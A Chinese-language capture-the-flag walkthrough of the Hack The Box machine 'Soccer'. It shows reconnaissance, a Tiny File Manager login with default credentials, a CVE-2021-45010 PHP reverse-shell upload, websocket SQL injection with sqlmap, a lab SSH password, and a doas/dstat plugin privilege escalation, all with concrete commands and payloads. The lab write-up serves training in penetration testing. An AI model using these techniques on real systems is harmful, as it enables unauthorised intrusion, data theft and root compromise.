文章目录
- 1 信息收集
- 2 CVE-2021-45010 漏洞利用
- 3 横向移动
- 4 权限提升
Soccer 测试过程
1 信息收集
a.端口扫描
:发现22、80、9091端口
b.目录扫描
:http://soccer.htb/tiny/
c.子域爆破
d.信息泄漏
nmap -sC -sV 10.129.87.151
端口扫描结果:开放 22、80、9091 未知服务,首先从 80 web端口开始进行测试。
echo "10.129.87.151 soccer.htb" | sudo tee -a /etc/hosts
使用gobuster进行目录扫描,检查是否有目录或敏感文件的泄漏
./gobuster dir -u http://soccer.htb/ -w directory-list-2.3-medium.txt
枚举出 /tiny
目录,查看该目录为Tiny File Manager
搜索该登录登录页相关信息,发现github仓库中存在默认口令 admin/admin@123 and user/12345
,并使用admin/admin@123
成功登录
检查页面内容发现 Tiny File Manager 2.4.3
,搜索相关版本信息,发现此版本存在已知漏洞
2 CVE-2021-45010 漏洞利用
Tiny File Manager <= 2.4.6
,允许具有有效用户帐户的远程攻击者将恶意 PHP 文件上传到 webroot 并在目标服务器上实现代码执行。此漏洞编号为CVE-2021-45010
漏洞利用:在File Manager下存在文件上传目录,我们可以通过上传反弹shell脚本,并访问脚本地址触发,获取shell
# 执行监听
ncat -lnvp 4444
访问上传的反弹shell PHP 脚本进行触发:http://soccer.htb/tiny/uploads/php-reverseshell.php
获取到的shell权限为www-data
,www-data用户通常具有对网站根目录及其子目录的读取和执行权限,以便可以向用户提供网站内容。但是,www-data用户通常不具有写入权限,以防止恶意用户上传恶意代码或文件。
3 横向移动
信息收集
sites-available 文件夹
用于存放网站的配置目录,意为可用的网站列表,用于在需要时链接到 sites-enabled 中作为需要启用的网站。
在www-data权限下,访问sites-available文件夹可以查看是否有可利用的配置等。
ls -la /etc/nginx/sites-enabled
sites-available文件夹下,发现子域 soc-player.soccer.htb/
,添加hosts,进行访问
echo "10.129.87.151 soc-player.soccer.htb" | sudo tee -a /etc/hosts
在子域 soc-player.soccer.htb/
中存在Login和Signup接口,Login功能无法利用,尝试对Signup功能进行测试。注册新用户。
使用注册的账号密码进行登录,登录后界面如下,在登录界面发现:Your Ticket Id:99625
,可能为利用点
查看网页源代码,发现此功能运行于9091端口的websocket服务上,抓取websocket请求包,观察请求
发送请求,观察响应内容,响应显示Ticket Doesn't Exist
,由此判断,id参数可能被提交到数据库,并在数据库中进行了查询对比,以此来判断id参数是否存在于数据库中。
id参数被提交到数据库中进行查询,那就可以进行sql注入尝试
"id":"99625'"
"id":"99625 or 1=1"
使用sqlmap对id参数进行注入
使用sqlmap对webscoket进行时间盲注的原理可见链接
:https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
1.安装 websocket-client
2.使用google链接脚本将请求格式化为JSON消息并进行注入,需将
ws_server 和 data
参数更改为注入地址及注入参数
# 更改后如下
ws_server = "ws://soc-player.soccer.htb:9091"
data = '{"id":"%s"}' % message
pip install websocket-client
python3 web-socket.py
3.使用sqlmap进行sql注入
sqlmap -u http://localhost:8081/?id=1 -p "id" --dump-all --exclude-sysdbs
4.使用player:PlayerOftheMatch2022
进行ssh登录 ssh player@10.129.203.131
4 权限提升
# 无可利用点
sudo -l
寻找SetUID二进制文件。SUID安全机制,允许使用文件所有者的权限运行可执行文件。此处使用SUID提权
find / -type f -perm -4000 2>/dev/null
/usr/local/bin/doas
,doas是OpenBSD操作系统上常见的替代方案sudo,但可以安装在基于Debian的Linux操作系统(如 Ubuntu)上。
# 查看doas配置文件doas.conf
find / -name doas.conf 2>/dev/null
cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
,player用户可以以root权限运行dstat命令。
搜索dstat相关信息,在文件中发现如下解释:
插件是名为dstat_[plugin name].py
的Python脚本
/usr/local/share/dstat
目录可写,可以写入bash shell
将bash写入/usr/local/share/dstat
目录
echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dstat_0xdf.py
使用dstat调用0xdf插件
doas /usr/bin/dstat --0xdf